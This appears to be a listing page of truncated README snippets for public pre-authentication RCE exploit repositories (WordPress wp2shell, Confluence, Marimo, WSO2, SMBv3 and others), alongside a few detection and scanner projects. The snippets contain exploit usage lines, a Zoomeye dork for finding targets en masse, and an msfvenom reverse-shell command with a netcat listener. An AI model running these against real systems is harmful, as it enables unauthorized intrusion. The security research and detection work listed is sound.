CVE-2026-63030-Wp2Shell

CVE-2026-63030 wp2shell — WordPress Core Pre-Auth RCE REST API batch route confusion chained with CVE-2026-60137 SQL injection TL;DR — An unauthenticated attacker can chain a WordPress REST API batch-routing bug with a SQL injection in WPQuery to reach full remote code execution on a stock...

CVE-2022-26134

CVE-2022-26134 CVE-2022-26134 - Confluence Pre-Auth RCE | OGNL injection Download PoC script git clone https://github.com/crowsec-edtech/CVE-2022-26134 cd CVE-2022-26134 Run exploit USE: python3 exploit.py https://target.com CMD Ex: python3 exploit.py https://target.com id Ex: python3 exploit.py...

wp2shell-poc

How does this work at all How this PoC differs from the public wp2shell exploits all pocs weaponize the same two bugs - the REST batch route confusion CVE-2026-63030 and the authornotin SQL injection CVE-2026-60137 - with the same double-nested batch shape. What differs between them is the RCE pa...

CVE-2025-32432

CVE-2025-32432 Craft CMS Pre-Auth RCE PoC Critical Pre-Authentication Remote Code Execution in Craft CMS Affected: Craft CMS 3.x, 4.x, and 5.x up to 5.6.16 Info: This exploit is tested against HackTheBox Orion machine Overview This repository contains a proof-of-concept exploit for CVE-2025-32432...

CVE-2026-39987

CVE-2026-39987 — Marimo Pre-Auth RCE /terminal/ws CVSS 4.0 : 9.3 CRITICAL CVSS 3.x : 9.8 CRITICAL CWE : CWE-306 Missing Authentication for Critical Function Fix : Marimo 0.23.0+ Affects : Marimo Lab / authorized testing only HTB, CTF, engagement with written scope. Table of contents Vulnerability...

wp2shell

wp2shell Pre-authentication remote code execution for WordPress 6.9.0–6.9.4 and 7.0.0–7.0.1. Chains CVE-2026-63030 batch route confusion SQLi with CVE-2026-60137 customizer changeset re-entry to achieve unauthenticated administrator creation and OS command execution. No password cracking required...

CVE-2022-29464-mass

WSO2 Carbon Server CVE-2022-29464 Pre-auth RCE bug CVE-2022-29464. Write by Chocapikk lightely modded by trhacknon Usage python exploit.py -u or: python exploit.py -f Zoomeye Dork CLI: zoomeye search 'title:"WSO2 Management Console"' -num 10 -filter=ip,port WEB: title:"WSO2 Management Console"...

CVE-2026-21858-and-CVE-2025-68613

Ni8mare: n8n Pre-Auth RCE CVE-2026-21858 & CVE-2025-68613 — Vulnerability Lab & PoC Report Hands-on lab environment Vulnerable Lab and a detailed exploitation analysis report of the Ni8mare vulnerability chain on the n8n platform — from Arbitrary File Read CVE-2026-21858 to Remote Code Execution...

CVE-2023-38646

CVE-2023-38646 Fork ofkh4sh3i's removing the need for Burp Collector. CVE-2023-38646 Pre-Auth RCE in Metabase: Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication ...

typehub-exploiter

typehub-exploiter GILANG - Exploiter for CVE-2021-25094 referrence : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ payload : site.com/wp-admin/admin-ajax.php bug path : site.com/wp-content/uploads/typehub/custom/ Thanks to : Ibnudz, Dark clown security greetz : Garuda...

wp2shell-Hestia-Scanner

🛡️ wp2shell-Hestia-Scanner 🇬🇧 English | 🇬🇷 Ελληνικά Read-only WordPress security scanner for HestiaCP servers. Detects wp2shell compromise indicators across all hosted sites — with per-client email reports, core file diff, SHA256 webshell detection, risk scoring, and optional AI evaluation. ⚠️ Safe...

CVE-2026-39987

CVE-2026-39987 For Marimo 0.20.4 PoC ⚠️ This tool is intended for educational purposes and authorized security testing only. The creator is not responsible for any unauthorized or illegal use. Use at your own risk. ⚠️ Info: CVE-2026-39987 is a critical pre-authentication Remote Code Execution RCE...

Exploits

Exploits Original CVEs, exploit PoCs and security advisories by @kmkz · boffsec-services.com · @kmkzsecurity 2026 File| Target| Type| CVSSv3 ---|---|---|--- CVE-2026-22191-SicuroWeb-ATI-chain.txt| SicuroWeb / Beghelli Sicuro24| Advisory 3-CVE chain| 9.3 CVE-2026-22191-POC.py| SicuroWeb / Beghelli...

CVE-2020-0796

CVE-2020-0796 CVE-2020-0796 explanation and researching vulnerability for term porject CENG325 for beginners How to exploit? Userpayload generation for reverse shell: msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python listening port: nc -lvnp 5555 exploi...

CVE-2025-32433-Detection

CVE-2025-32433 Detection Author: te0rwx Created: 2025-08-27 Upt. 2026-08-16 Description A custom YARA rule for detecting known artifacts associated with CVE-2025-32433 , an Erlang/OTP SSH pre-authentication remote code execution RCE vulnerability. The rule was developed and validated against publ...

CVE-2026-6875-PoC-Exploit

CVE-2026-6875 - ServiceNow Pre‑Auth RCE Exploit Framework & PoC Verifier ServiceNow AI Platform — JavaScript Injection → Sandbox Escape → RCE → Root Privesc Exploit Framework & Safe Verifier For authorized security testing only. Legal Disclaimer & Responsible Use This tool is provided for...

CVE-2026-39987_POC

PoC — CVE-2026-39987 · Marimo Pre-Auth RCE CVSS 4.0: 9.3 Critical · AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H Affects: marimo 2 calls to validateauth. terminal.py - 0 @requires, 0 validateauth. -- the flaw. The AuthBackend middleware protects HTTP and the /ws websocket, but /terminal/ws accepts the...

CVE-2018-16763

CVE 2018-16763 Exploit Introduction PreAuth-RCE on FUEL CMS 1.4.1 Demo Reference: https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

CVE-2026-33439-Python-PoC

CVE-2026-33439 Python PoC Standalone Python proof of concept for the OpenAM pre-authentication remote code execution vulnerability in jato.clientSession deserialization. The embedded shaded Click/Xalan gadget reads a shell command from the cmd HTTP header and returns its output in the HTTP...

CVE-2026-42533

CVE-2026-42533 Lab — NGINX Two-Pass Capture Clobbering RCE CVSS 9.2 Critical — Pre-auth heap buffer overflow + info leak in nginx Affected: nginx 0.9.6 – 1.30.3 / 1.31.2 | Patched: 1.30.4 / 1.31.3 Architecture ┌─────────────────────────────────────┐ │ Host machine │ │ │ PoC scripts ──────┤ :8080...